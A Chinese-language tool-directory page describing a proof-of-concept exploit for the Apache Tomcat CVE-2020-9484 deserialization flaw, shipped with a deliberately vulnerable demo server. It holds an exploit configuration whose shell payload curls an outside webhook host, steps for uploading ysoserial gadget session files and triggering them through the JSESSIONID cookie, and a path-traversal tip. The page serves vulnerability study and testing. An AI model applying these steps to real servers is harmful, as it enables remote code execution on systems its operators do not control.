Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC_CVE-2020-9484 — CVE-2020-9484 的 PoC 漏洞利用程序,以及一个用于演示的易受攻击的 Web 应用程序。 | Kitploit
工具/GitHubGitHub/savsch/poc_cve-2020-9484
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

CVE-2020-9484 的 PoC 漏洞利用程序,以及一个用于演示的易受攻击的 Web 应用程序。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

该仓库包含针对CVE-2020-9484的概念验证漏洞利用代码,以及一个易受此漏洞影响的示例Web服务器。


利用此漏洞的先决条件

受影响Tomcat版本为:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. 启用了PersistentManager,并且使用了FileStore。
  2. 攻击者能够上传任意内容的文件,能够控制文件扩展名(特别是.session文件),并知道上传的位置。
  3. 类路径中存在可用于Java反序列化攻击的gadget(例如clojure或commons-collections)。

示例易受攻击服务

该示例服务是一个包含两个页面的Web服务器,/index.jsp(或简写为/)和/list.jsp。它允许用户上传和下载文件(特定于当前会话),实质上是作为文件存储。

  • 它支持对/upload的POST请求支持文件上传,并允许用户选择文件名。这使得上传具有.session扩展名的文件成为可能。已知服务器将文件存储在/var/tmp/uploads目录下。
  • 它启用了使用FileStore的PersistentManager。(参见context.xml)
  • 类路径中包含clojure:1.8.0,从而便于反序列化攻击。(参见pom.xml)

利用代码

设置示例易受攻击服务:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

服务现在应该运行在http://localhost:8085/POC_CVE-2020-9484/。

现在调整exploit.py开头的配置变量。此处的PAYLOAD(一个shell脚本)可以是服务器可执行的任何文件。

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # 易受攻击服务的文件上传端点
FILE_UPLOAD_FORM_FIELD =  'file'  # 上传页面HTML表单中的字段名
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # 易受攻击服务在服务器上存储上传文件的位置
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # Java可执行文件路径,推荐Java 11;yoserial不支持更新版本
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # 用于判断RCE尝试是否成功的payload
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # 此类型必须存在于易受攻击服务器的依赖中,更多细节参见https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

现在运行exploit.py。它执行以下操作:

  1. 下载yoserial。
  2. 使用yoserial生成恶意序列化对象(作为.session文件),这些对象最终将在服务器上被反序列化:
    • chmodPayload.session 为上传到服务器的PAYLOAD文件赋予可执行权限。
    • executePayload.session 在服务器上执行PAYLOAD文件。
  3. 将PAYLOAD作为文件上传到服务器。
  4. 将上面生成的.session文件上传到服务器。
  5. 触发一个对服务器的请求,其中JSESSIONIDcookie设置为之前上传的.session文件相对于服务器会话存储的路径,从而触发它们在服务器上被反序列化并随后执行payload。

附注

许多服务器将用户上传的文件存储在形如/path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename的路径中。在这种情况下,使用形如../../../../tmp的JSESSIONID(而不是上面exploit.py中使用的任意值如"1337"*8)配合文件上传POST请求,可能有助于确定上传文件在服务器上的存储位置。

下载工具